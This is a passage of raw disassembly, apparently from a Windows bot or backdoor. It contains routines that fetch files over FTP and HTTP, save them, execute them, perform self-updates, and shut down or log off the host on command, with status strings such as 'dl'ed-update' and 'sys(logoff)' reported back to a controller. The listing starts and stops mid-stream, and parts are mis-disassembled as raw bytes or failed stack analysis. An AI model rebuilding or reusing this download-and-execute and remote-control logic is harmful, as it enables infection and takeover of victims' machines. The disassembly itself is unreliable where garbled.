		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D640	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D6D0	proc near		; CODE XREF: sub_4014BAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D6D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D770	proc near		; CODE XREF: sub_4021E9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		lea	ecx, [esi+7Ah]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0D0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D770	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41D830:				; CODE XREF: ___:00401168j
					; ___:loc_4019F6j
		push	esi
		mov	esi, ecx
		call	sub_4015CD
		test	byte ptr [esp+8], 1
		jz	short loc_41D848
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41D848:				; CODE XREF: ___:0041D83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D860	proc near		; CODE XREF: sub_4015CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0D0
		lea	ecx, [esi+7Ah]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+65h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D860	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41D930	proc near		; CODE XREF: sub_401C94j

var_48		= dword	ptr -48h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_44		= byte ptr  48h
arg_10C		= byte ptr  110h
arg_11C		= byte ptr  120h
arg_12C		= byte ptr  130h
arg_110C	= dword	ptr  1110h
arg_1110	= byte ptr  1114h
arg_112C	= dword	ptr  1130h
arg_1134	= dword	ptr  1138h
arg_1144	= byte ptr  1148h
arg_1150	= dword	ptr  1154h

; FUNCTION CHUNK AT 0041E048 SIZE 0000001B BYTES

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43C3F2
		push	eax
		mov	eax, 1158h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	offset byte_448F40
		lea	edi, [esi+11h]
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ebx, [esi+65h]
		push	offset byte_448F40
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		lea	ecx, [esi+26h]
		push	offset byte_448F40
		call	sub_4012EE
		test	eax, eax
		jz	loc_41E035
		mov	al, [esi+91h]
		test	al, al
		jz	short loc_41D9D1
		push	offset byte_448F40
		lea	ecx, [esi+3Bh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41D9C4
		push	offset byte_448F40
		lea	ecx, [esi+50h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41D9D1


loc_41D9C4:				; CODE XREF: sub_41D930+81j
		mov	[esp+1Ch+var_8], esi
		lea	eax, [esp+1Ch+var_8]
		jmp	loc_41E03D
; ---------------------------------------------------------------------------


loc_41D9D1:				; CODE XREF: sub_41D930+70j
					; sub_41D930+92j
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+20h]
		push	1
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	[esp+20h+arg_1150], 0
		call	sub_4012EE
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	short loc_41DA5E
		push	offset asc_444C74 ; ":"
		lea	edx, [esp+20h]
		push	1
		push	edx
		mov	ecx, edi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+1Ch+arg_1150], 1
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+1Ch]
		mov	ebp, eax
		mov	[esp+1Ch+arg_1150], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jnz	short loc_41DA6F


loc_41DA5E:				; CODE XREF: sub_41D930+E3j
		mov	al, [esi+91h]
		neg	al
		sbb	eax, eax
		and	al, 0C5h
		add	eax, 50h
		mov	ebp, eax


loc_41DA6F:				; CODE XREF: sub_41D930+12Cj
		push	offset asc_444C74 ; ":"
		lea	ecx, [esp+20h+arg_14]
		push	0
		push	ecx
		mov	ecx, edi
		call	sub_4016B8
		lea	edx, [esp+1Ch+arg_14]
		mov	ecx, edi
		push	edx
		mov	[esp+20h+arg_1150], 2
		call	sub_401FDC
		lea	eax, [esp+1Ch+arg_44]
		push	104h
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 2800000h
		lea	ecx, [esp+28h+arg_38]
		push	ecx
		mov	ecx, ebx
		call	sub_4015E1
		mov	al, [esi+91h]
		test	al, al
		jz	loc_41DC04
		call	sub_401E1F
; ---------------------------------------------------------------------------
		lea	edx, [esp+28h+var_14]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		call	sub_401A7D
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_41DB1C
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aFtpBadconnect ;	"ftp(badconnect)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	[esp+28h+var_18], esi
		lea	edx, [esp+28h+var_18]
		jmp	loc_41E014
; ---------------------------------------------------------------------------


loc_41DB1C:				; CODE XREF: sub_41D930+1B7j
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+50h]
		push	eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+3Bh]
		call	sub_4017EE
		push	eax
		call	sub_402266
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DB73
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBadlogin ; "ftp(badlogin)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DB73:				; CODE XREF: sub_41D930+20Dj
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpGetting ; "ftp(getting)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esi+26h]
		push	eax
		push	49h
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		call	sub_4016B3
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41DBF2
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	offset aFtpBaddl ; "ftp(baddl)"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	eax, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	eax
		jmp	loc_41E015
; ---------------------------------------------------------------------------


loc_41DBF2:				; CODE XREF: sub_41D930+28Dj
		mov	ecx, [esp+28h+var_14]
		push	ecx
		call	sub_401D66
		add	esp, 4
		jmp	loc_41DE7B
; ---------------------------------------------------------------------------


loc_41DC04:				; CODE XREF: sub_41D930+195j
		lea	ecx, [esp+28h+arg_20]
		call	sub_40142E
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+arg_1144], 3
		call	sub_40142E
		push	ebp
		mov	ecx, edi
		mov	[esp+2Ch+arg_1144], 4
		call	sub_4017EE
		push	eax
		call	sub_401AA0
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+28h+var_14], ebx
		jnz	short loc_41DC87
		lea	ecx, [esi+7Ah]
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadconnect ; "http(badconnect)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+28h+var_18]
		mov	[esp+28h+var_18], esi
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		db 53h
		db 90h
		db 0E8h, 0B7h, 0B9h
; ---------------------------------------------------------------------------
		imul	esi, [ecx-17h],	0BEh


loc_41DC87:				; CODE XREF: sub_41D930+310j
		push	ebp
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+26h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+34h+arg_20]
		push	offset aGetSHttp1_0Con ; "GET %s HTTP/1.0\r\nConnection: Keep-Alive"...
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+28h+arg_20]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+30h+arg_20]
		call	sub_4017EE
		push	eax
		push	ebx
		nop
		call	near ptr 71AB428Ah
		lea	edi, [esi+7Ah]
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aHttpGetting ; "http(getting)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118
		push	offset aWb	; "wb"
		lea	ecx, [esi+65h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jnz	short loc_41DD80
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	offset aHttpBadopen ; "http(badopen)"
		push	edx
		push	eax
		mov	ecx, offset byte_4D8085
		call	sub_401118
		lea	ecx, [esp+38h+var_28]
		mov	[esp+38h+var_28], esi
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+38h+var_1C]
		mov	byte ptr [esp+38h+arg_1134], 3
		call	sub_401226
		lea	ecx, [esp+38h+arg_10]
		mov	byte ptr [esp+38h+arg_1134], 2
		call	sub_401226
		lea	ecx, [esp+38h+var_4]
		mov	[esp+38h+arg_1134], 0FFFFFFFFh
		call	sub_401226
		jmp	loc_41E048
; ---------------------------------------------------------------------------


loc_41DD80:				; CODE XREF: sub_41D930+3DBj
					; sub_41D930+484j ...
		mov	eax, [esp+38h+var_24]
		push	0
		lea	edx, [esp+3Ch+arg_12C]
		push	1000h
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DDF8
		cmp	ebp, 1000h
		jge	short loc_41DDB0
		mov	[esp+ebp+48h+arg_11C], 0


loc_41DDB0:				; CODE XREF: sub_41D930+476j
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DD80


loc_41DDB6:				; CODE XREF: sub_41D930+4A5j
		push	4
		lea	ecx, [esp+edi+4Ch+arg_11C]
		push	offset asc_444ED8 ; "\r\n\r\n"
		push	ecx
		call	near ptr 77C47A50h
		nop
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41DDD9
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDB6
		jmp	short loc_41DD80
; ---------------------------------------------------------------------------


loc_41DDD9:				; CODE XREF: sub_41D930+4A0j
		add	edi, 4
		cmp	edi, ebp
		jge	short loc_41DDF8


loc_41DDE0:				; CODE XREF: sub_41D930+4C6j
		movsx	edx, [esp+edi+48h+arg_11C]
		push	ebx
		push	edx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DDE0


loc_41DDF8:				; CODE XREF: sub_41D930+46Ej
					; sub_41D930+4AEj ...
		mov	edi, [esp+48h+var_34]
		push	0
		lea	eax, [esp+4Ch+arg_11C]
		push	1000h
		push	eax
		push	edi
		call	near ptr 71AB615Ah
		nop
		mov	ebp, eax
		test	ebp, ebp
		jle	short loc_41DE48
		cmp	ebp, 1000h
		jge	short loc_41DE28
		mov	[esp+ebp+58h+arg_10C], 0


loc_41DE28:				; CODE XREF: sub_41D930+4EEj
		xor	edi, edi
		test	ebp, ebp
		jle	short loc_41DDF8


loc_41DE2E:				; CODE XREF: sub_41D930+514j
		movsx	ecx, [esp+edi+58h+arg_10C]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C40E76h
		add	esp, 8
		inc	edi
		cmp	edi, ebp
		jl	short loc_41DE2E
		jmp	short loc_41DDF8
; ---------------------------------------------------------------------------


loc_41DE48:				; CODE XREF: sub_41D930+4E6j
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		push	edi
		call	near ptr 71AB9639h
		nop
		lea	ecx, [esp+5Ch+var_40]
		mov	[esp+5Ch+arg_1110], 3
		call	sub_401226
		lea	ecx, [esp+5Ch+var_10]
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226


loc_41DE7B:				; CODE XREF: sub_41D930+2CFj
		mov	al, [esi+90h]
		test	al, al
		jnz	loc_41DF17
		lea	ebp, [esi+65h]
		mov	ecx, ebp
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlDone_S_ ; "dl, done. %s ."
		mov	ecx, edi
		call	sub_40168B
		mov	dl, [esi+93h]
		push	eax
		mov	al, [esi+92h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		mov	al, [esi+8Fh]
		add	esp, 18h
		test	al, al
		jz	loc_41E00C
		push	offset byte_448F40
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		call	sub_401299
		add	esp, 8
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	offset aOpenS_	; "open	%s."
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		mov	dl, [esi+92h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		jmp	loc_41E00C
; ---------------------------------------------------------------------------


loc_41DF17:				; CODE XREF: sub_41D930+553j
		lea	ebx, [esi+65h]
		mov	ecx, ebx
		call	sub_4017EE
		lea	edi, [esi+7Ah]
		push	eax
		push	offset aDlEdUpdateS ; "dl'ed-update: %s"
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		lea	edx, [esp+90h+var_40]
		push	51h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		mov	ecx, eax
		mov	[esp+5Ch+arg_1110], 5
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		call	sub_402167
		add	esp, 8
		lea	ecx, [esp+5Ch+var_40]
		mov	bl, al
		mov	[esp+5Ch+arg_1110], 2
		call	sub_401226
		test	bl, bl
		jz	short loc_41DFE7
		mov	al, byte_4498A6
		test	al, al
		jz	short loc_41DFB6
		push	offset dword_449844
		mov	ecx, offset dword_44AD80
		call	sub_401451


loc_41DFB6:				; CODE XREF: sub_41D930+675j
		mov	al, byte_4498EF
		test	al, al
		jz	short loc_41DFCE
		push	offset byte_44991F
		mov	ecx, offset dword_44AD80
		call	sub_401951


loc_41DFCE:				; CODE XREF: sub_41D930+68Dj
		mov	ecx, offset dword_44AD80
		call	sub_401E79
		push	1
		mov	byte_4E8E54, 0
		call	near ptr 77C39E7Eh
		nop


loc_41DFE7:				; CODE XREF: sub_41D930+66Cj
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [esi+92h]
		push	eax
		mov	al, [esi+93h]
		push	offset aExec_error ; "exec.error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8085
		call	sub_401118


loc_41E00C:				; CODE XREF: sub_41D930+597j
					; sub_41D930+5E2j
		mov	[esp+60h+var_48], esi
		lea	edx, [esp+60h+var_48]


loc_41E014:				; CODE XREF: sub_41D930+1E7j
		push	edx


loc_41E015:				; CODE XREF: sub_41D930+23Ej
					; sub_41D930+2BDj
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_2C]
		mov	[esp+60h+arg_110C], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_41E048
; ---------------------------------------------------------------------------


loc_41E035:				; CODE XREF: sub_41D930+36j
					; sub_41D930+4Dj ...
		mov	[esp+1Ch+var_C], esi
		lea	eax, [esp+1Ch+var_C]


loc_41E03D:				; CODE XREF: sub_41D930+9Cj
		push	eax
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
sub_41D930	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D930


loc_41E048:				; CODE XREF: sub_41D930+44Bj
					; sub_41D930+703j
		mov	ecx, [esp+38h+arg_112C]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1164h
		retn
; END OF FUNCTION CHUNK	FOR sub_41D930
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 1D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E240	proc near		; CODE XREF: sub_401BA4j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E240
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	0Fh
		push	0Fh
		push	2
		push	5
		push	12h
		push	4Fh
		push	3
		lea	eax, [esp+64h+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_41E240	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Eh
		push	17h
		push	0Fh
		push	4
		push	14h
		push	15h
		push	8
		push	13h
		push	4Fh
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	6
		push	6
		push	0Fh
		push	7
		push	0Fh
		push	0Ch
		push	4Fh
		push	3
		lea	ecx, [esp+40h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41E3C0:				; CODE XREF: ___:loc_4010B4j
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, ecx
		lea	ebx, [edi+7Eh]
		lea	ecx, [esi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E41B
		push	offset dword_444FDC
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+93h]
		push	eax
		mov	al, [edi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		push	0
		push	6
		call	near ptr 2890CC5h
		nop
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E41B:				; CODE XREF: ___:0041E3DEj
		lea	ecx, [esi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E46A
		push	offset aSysSd	; "sys(sd)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	dl, [edi+94h]
		push	eax
		mov	al, [edi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		push	0
		push	5
		nop
		call	near ptr 2890CC5h
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_41E46A:				; CODE XREF: ___:0041E42Dj
		lea	ecx, [esi+60h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41E4B1
		push	offset aSysLogoff ; "sys(logoff)"
		lea	ecx, [edi+69h]
		call	sub_40168B
		mov	cl, [edi+94h]
		mov	dl, [edi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 14h
		push	0
		push	4
		call	near ptr 2890CC5h
		nop


loc_41E4B1:				; CODE XREF: ___:0041E47Cj
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41E500	proc near		; CODE XREF: sub_401F7Dj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41E500
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+6Ch+var_3C]
		push	10h
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_41E500	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+30h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	ecx, [esp+3Ch]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		mov	dword ptr [esp+40h], 2
		push	esi
		mov	ecx, eax
		call	sub_4017EE
		lea	edx, [esi+8Eh]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	3
		push	16h
		push	13h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	eax, [esp+3Ch]
		push	10h
		push	eax
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	9
		push	10h
		push	0Ch
		push	0Ch
		push	9
		push	0Bh
		push	4Fh
		push	0Ch
		push	12h
		push	14h
		push	3
		lea	edx, [esp+54h]
		push	10h
		push	edx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41E760	proc near		; CODE XREF: sub_40161Dj

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
